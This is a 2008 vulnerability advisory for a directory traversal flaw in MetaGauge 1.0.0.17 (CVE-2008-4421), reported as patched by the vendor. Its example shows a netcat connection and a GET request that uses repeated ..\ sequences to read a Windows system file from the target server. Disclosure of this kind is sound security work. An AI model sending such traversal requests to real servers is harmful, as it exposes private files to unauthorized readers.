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hammer software metagauge 1.0.0.17 - Directory Traversal

Published on 2008-10-06

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Title: MetaGauge 1.0.0.17 Directory Traversal



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Vendor: Hammer Software



Vendor URL: www.Hammer-Software.com



Vendor Response: Vendor has been notified and has since addressed the issue in the latest software release.



Description:



A directory traversal vulnerability exists in MetaGauge version 1.0.0.17 (and potentially below) which allows a remote user to view files local to the target server. 



Example:



C:\> nc targethost 2004

GET /..\..\..\..\..\..\winnt\win.ini HTTP/1.1





Patch Information:



Hammer has addressed the issue in the latest version of MetaGauge:



http://dl.hammer-software.com/metagauge.zip



CVE:  CVE-2008-4421



Credit:



Brad Antoniewicz



brad.antoniewicz@foundstone.com



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